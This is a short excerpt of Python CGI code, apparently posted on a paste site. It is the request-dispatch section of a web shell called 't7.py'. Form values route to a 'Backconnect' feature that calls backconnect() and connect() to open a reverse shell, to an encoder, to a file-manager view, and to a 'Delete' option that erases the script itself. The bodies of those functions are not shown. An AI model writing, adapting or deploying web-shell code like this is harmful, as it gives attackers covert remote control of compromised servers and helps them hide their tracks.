  894.     elif form.getvalue('t7')=='Backconnect' or form.has_key('con'):
  895.       backconnect()
  896.       connect()
  897.     elif form.getvalue('t7')=='Encoder' or form.has_key('enc') or form.has_key('de'):
  898.       encoderh()
  899.       encoder(form.getvalue('new'))
  900.     elif form.getvalue('t7')=='About':
  901.         about()
  902.     elif form.getvalue('t7')=='Delete':
  903.       print """"""
  904.       os.chdir(os.getcwd())
  905.       os.remove('t7.py')
  906.     else:
  907.       html()
  908.       fo()
Add Comment
Please, Sign In to add comment